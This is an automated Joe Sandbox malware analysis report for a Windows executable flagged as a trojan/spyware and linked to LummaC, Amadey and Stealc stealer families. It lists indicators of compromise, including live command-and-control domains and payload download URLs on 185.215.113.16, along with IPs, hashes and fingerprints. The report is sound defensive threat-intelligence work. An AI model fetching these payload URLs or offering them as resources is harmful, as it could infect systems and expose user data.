https://cook-rain.sbs/apiu	file.exe, 00000000.00000003.1837908059.0000000000DC1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1838507084.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1837932016.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_102.6.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_102.6.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_94.6.dr, chromecache_84.6.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_94.6.dr, chromecache_84.6.dr	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000003.1817114587.0000000000DC0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_94.6.dr, chromecache_84.6.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1764215214.00000000054BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1764331781.00000000054A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_102.6.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_94.6.dr, chromecache_84.6.dr	false		high
https://aka.ms/certhelp	chromecache_94.6.dr, chromecache_84.6.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, file.exe, 00000000.00000003.2017702605.0000000000D66000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/	file.exe, 00000000.00000003.1837932016.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788475696.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1764215214.00000000054BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1764331781.00000000054A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1814353640.00000000054AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_102.6.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1814353640.00000000054AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000003.1763950622.00000000054E5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1763866433.00000000054EC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_84.6.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_94.6.dr, chromecache_84.6.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1764215214.00000000054BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1764331781.00000000054A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.1816518420.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_102.6.dr	false		high
https://cook-rain.sbs/o	file.exe, 00000000.00000003.1788518353.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788475696.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1764215214.00000000054BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1764331781.00000000054A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/.	file.exe, 00000000.00000003.1837908059.0000000000DC1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1838507084.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1837932016.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/nschonni	chromecache_102.6.dr	false		high
http://185.215.113.16/	file.exe, file.exe, 00000000.00000003.2017702605.0000000000D66000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/jr	file.exe, 00000000.00000003.2017702605.0000000000D66000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_94.6.dr, chromecache_84.6.dr	false		high
https://github.com/adegeo	chromecache_102.6.dr	false		high
https://cook-rain.sbs/tP	file.exe, 00000000.00000003.2017702605.0000000000D66000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cook-rain.sbs/%	file.exe, 00000000.00000003.1788518353.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788475696.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.microsof	file.exe, 00000000.00000003.1763866433.00000000054EE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_94.6.dr, chromecache_84.6.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.1814353640.00000000054AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_94.6.dr, chromecache_84.6.dr	false		high
https://cook-rain.sbs/apid	file.exe, 00000000.00000003.2017702605.0000000000D66000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/js-cookie/js-cookie	chromecache_94.6.dr, chromecache_84.6.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, file.exe, 00000000.00000003.2017702605.0000000000D66000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_102.6.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	file.exe, 00000000.00000003.1763950622.00000000054C0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://channel9.msdn.com/	chromecache_94.6.dr, chromecache_84.6.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1764215214.00000000054BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1764331781.00000000054A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_94.6.dr, chromecache_84.6.dr	false		high
http://185.215.113.16/Er	file.exe, 00000000.00000003.2017702605.0000000000D66000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
104.21.66.38	cook-rain.sbs	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
216.58.208.228	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.7
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559711
Start date and time:	2024-11-20 21:03:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/61@7/7
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 2.16.230.26, 172.217.19.227, 172.217.19.238, 74.125.205.84, 2.20.41.214, 34.104.35.123, 142.250.181.138, 172.217.17.74, 142.250.181.42, 172.217.19.234, 142.250.181.74, 172.217.17.42, 172.217.19.202, 172.217.19.170, 142.250.181.106, 172.217.21.42, 2.21.72.71, 2.21.72.73, 172.217.17.67
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, clients.l.google.com, wcpstatic.microsoft.com
Execution Graph export aborted for target file.exe, PID 6860 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
15:04:04	API Interceptor	54x Sleep call for process: file.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://learn.microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://learn.microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Register now", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The URL 'learn.microsoft.com' is a subdomain of 'microsoft.com', which is the legitimate domain for Microsoft.", "Microsoft is a well-known brand with a strong online presence.", "The URL does not contain any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The subdomain 'learn' is commonly used by Microsoft for educational and documentation purposes." ], "riskscore": 1}
URL: learn.microsoft.com Brands: Microsoft Input Fields: u, n, k, n, o, w, n

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.63	Fax-494885 Boswell Automotive Group.xlsx	Get hash	malicious	Unknown	Browse
	Fax-494885 Boswell Automotive Group.xlsx	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	https://safelinks.mygo1.com/ls/click?upn=u001.1mDt7ytPYCJSVG-2BhF04Stdj4cHPTtKuY-2FmURzzu8QTldxw-2FzpyQYTJMxn3CPFnnsIuOY-2F5ruiOS6FLjm58JljkOmonXKnT8iwwYmA30I9bsERP5vx05gL85c3Lc-2F9WrpUfyNz12kcqjd3wt6WtaxLWxoHc5J3Zua9xQUurCc2AIjJtnP8Xu6Otzn8DBWsS0QPl2WC-2FCyrpDHulFvP0eEWn9IDo-2BqFc1GmD1SsVw5lRKY6yWeuyFQhUWIqZ4VCAeEroA6Ndqh9iaNvFz0XzERrEFYNTxkPirSQWkw6YqX5uo-3DaVWv_h5yw3DykLZfOpXzx776oAcLdVv6tuK-2FE7nfoR01CbnMOUH4fGhxn3KVtBew-2BRfJoKGgpvyhjBTXBTw1J6hN0wi-2FkZpowy1W9-2BTe-2Bf57Ts50FCXINRnefXkQ-2FFO3hKPeSa4hJKnd-2Bpj-2F7GS6r3Uq0ucRRb6izhExkinWfndIosIP-2Ff06hq3eO6ged-2F-2FYA1ldX-2BK4wuZipA-2BXRgTIkXvTbKj74iEMllOxCNkgoQZE3mKkIMM6o0L-2FNgq5TR8KcWZzS-2BEoZ1Oyop5AmC8zRE1SSKfnZ-2F0g1qg2dir-2F788Fq8CtpqmRpkFaF34nQcSYSfbixDSj0B5gj0fuY43UiPKR2D9s0w8lZaDR5dDYOswzPttauCIiIjiyfK20I-2BA4JjKFg	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	https://app.scalenut.com/creator/991c897c-dcc2-43e6-ba55-339c0f6812c2/kj8jd9r9do	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
185.215.113.16	HnJdZm51Xl.exe	Get hash	malicious	Amadey, Clipboard Hijacker	Browse	185.215.113.16/clip/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cook-rain.sbs	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
s-part-0035.t-0009.t-msedge.net	Fax-494885 Boswell Automotive Group.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.63
	Fax-494885 Boswell Automotive Group.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.63
	Y7Zv23yKfb.exe	Get hash	malicious	MicroClip	Browse	13.107.246.63
	PNSBt.js	Get hash	malicious	AsyncRAT	Browse	13.107.246.63
	zc4x7OQkYB.dll	Get hash	malicious	Unknown	Browse	13.107.246.63
	zc4x7OQkYB.dll	Get hash	malicious	Unknown	Browse	13.107.246.63
	IYakRFbGtx.dll	Get hash	malicious	Unknown	Browse	13.107.246.63
	CTK5arUcE1.dll	Get hash	malicious	Unknown	Browse	13.107.246.63
	0xkvdHKQpt.dll	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://pub-a652f10bc7cf485fb3baac4a6358c931.r2.dev/dreyflex.html	Get hash	malicious	Gabagool	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.172
	PNSBt.js	Get hash	malicious	AsyncRAT	Browse	172.67.187.200
	LETA_pdf.vbs	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	172.67.187.200
	YyA4O1TBSW.dll	Get hash	malicious	Unknown	Browse	104.21.93.38
	zlibwapi.dll.dll	Get hash	malicious	Unknown	Browse	172.67.204.56
	YyA4O1TBSW.dll	Get hash	malicious	Unknown	Browse	104.21.93.38
	zlibwapi.dll.dll	Get hash	malicious	Unknown	Browse	172.67.204.56
	plutonium.exe	Get hash	malicious	Unknown	Browse	104.21.235.11
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
MICROSOFT-CORP-MSN-AS-BLOCKUS	Fax-494885 Boswell Automotive Group.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.63
	Fax-494885 Boswell Automotive Group.xlsx	Get hash	malicious	Unknown	Browse	52.146.76.30
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	https://ambir.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	13.107.42.14
	https://safelinks.mygo1.com/ls/click?upn=u001.1mDt7ytPYCJSVG-2BhF04Stdj4cHPTtKuY-2FmURzzu8QTldxw-2FzpyQYTJMxn3CPFnnsIuOY-2F5ruiOS6FLjm58JljkOmonXKnT8iwwYmA30I9bsERP5vx05gL85c3Lc-2F9WrpUfyNz12kcqjd3wt6WtaxLWxoHc5J3Zua9xQUurCc2AIjJtnP8Xu6Otzn8DBWsS0QPl2WC-2FCyrpDHulFvP0eEWn9IDo-2BqFc1GmD1SsVw5lRKY6yWeuyFQhUWIqZ4VCAeEroA6Ndqh9iaNvFz0XzERrEFYNTxkPirSQWkw6YqX5uo-3DaVWv_h5yw3DykLZfOpXzx776oAcLdVv6tuK-2FE7nfoR01CbnMOUH4fGhxn3KVtBew-2BRfJoKGgpvyhjBTXBTw1J6hN0wi-2FkZpowy1W9-2BTe-2Bf57Ts50FCXINRnefXkQ-2FFO3hKPeSa4hJKnd-2Bpj-2F7GS6r3Uq0ucRRb6izhExkinWfndIosIP-2Ff06hq3eO6ged-2F-2FYA1ldX-2BK4wuZipA-2BXRgTIkXvTbKj74iEMllOxCNkgoQZE3mKkIMM6o0L-2FNgq5TR8KcWZzS-2BEoZ1Oyop5AmC8zRE1SSKfnZ-2F0g1qg2dir-2F788Fq8CtpqmRpkFaF34nQcSYSfbixDSj0B5gj0fuY43UiPKR2D9s0w8lZaDR5dDYOswzPttauCIiIjiyfK20I-2BA4JjKFg	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.69.116.107
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	x86_64.elf	Get hash	malicious	Mirai	Browse	40.123.105.159
	i486.elf	Get hash	malicious	Mirai	Browse	20.198.14.134
	sh4.elf	Get hash	malicious	Mirai	Browse	20.80.33.63
WHOLESALECONNECTIONSNL	HnJdZm51Xl.exe	Get hash	malicious	Amadey, Clipboard Hijacker	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	Fax-494885 Boswell Automotive Group.xlsx	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 2.16.229.162
	PNSBt.js	Get hash	malicious	AsyncRAT	Browse	172.202.163.200 13.107.246.63 2.16.229.162
	file.exe	Get hash	malicious	LummaC	Browse	172.202.163.200 13.107.246.63 2.16.229.162
	https://ch-review.incendiaryblue.com	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 2.16.229.162
	https://safelinks.mygo1.com/ls/click?upn=u001.1mDt7ytPYCJSVG-2BhF04Stdj4cHPTtKuY-2FmURzzu8QTldxw-2FzpyQYTJMxn3CPFnnsIuOY-2F5ruiOS6FLjm58JljkOmonXKnT8iwwYmA30I9bsERP5vx05gL85c3Lc-2F9WrpUfyNz12kcqjd3wt6WtaxLWxoHc5J3Zua9xQUurCc2AIjJtnP8Xu6Otzn8DBWsS0QPl2WC-2FCyrpDHulFvP0eEWn9IDo-2BqFc1GmD1SsVw5lRKY6yWeuyFQhUWIqZ4VCAeEroA6Ndqh9iaNvFz0XzERrEFYNTxkPirSQWkw6YqX5uo-3DaVWv_h5yw3DykLZfOpXzx776oAcLdVv6tuK-2FE7nfoR01CbnMOUH4fGhxn3KVtBew-2BRfJoKGgpvyhjBTXBTw1J6hN0wi-2FkZpowy1W9-2BTe-2Bf57Ts50FCXINRnefXkQ-2FFO3hKPeSa4hJKnd-2Bpj-2F7GS6r3Uq0ucRRb6izhExkinWfndIosIP-2Ff06hq3eO6ged-2F-2FYA1ldX-2BK4wuZipA-2BXRgTIkXvTbKj74iEMllOxCNkgoQZE3mKkIMM6o0L-2FNgq5TR8KcWZzS-2BEoZ1Oyop5AmC8zRE1SSKfnZ-2F0g1qg2dir-2F788Fq8CtpqmRpkFaF34nQcSYSfbixDSj0B5gj0fuY43UiPKR2D9s0w8lZaDR5dDYOswzPttauCIiIjiyfK20I-2BA4JjKFg	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 2.16.229.162
	https://docs.google.com/presentation/d/e/2PACX-1vTAoe8qPXC0cJJn6_2lLEv9r90P4SmL-xhPNwUfY42Cu5vLgixQnjGGDWLIXEo5gnj8n1vLZKyi99gr/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 2.16.229.162
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 13.107.246.63 2.16.229.162
	file.exe	Get hash	malicious	LummaC	Browse	172.202.163.200 13.107.246.63 2.16.229.162
	http://interpro.wisc.edu/courses/maintaining-asphalt-pavements/?utm_source=Brochure&utm_medium=postal&utm_campaign=D487&utm_term=SHB&utm_content=Sep	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 2.16.229.162
	https://www.plushtoysmfg.com/plush-keychain-factory/	Get hash	malicious	Anonymous Proxy	Browse	172.202.163.200 13.107.246.63 2.16.229.162
a0e9f5d64349fb13191bc781f81f42e1	Fax-494885 Boswell Automotive Group.xlsx	Get hash	malicious	Unknown	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	aHPgKqtKWX.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	LETA_pdf.vbs	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	LxvS6uMf0g.exe	Get hash	malicious	Acrid Stealer	Browse	104.21.66.38
	PO 2725724312_pdf.vbs	Get hash	malicious	Unknown	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Reputation:	moderate, very likely benign file
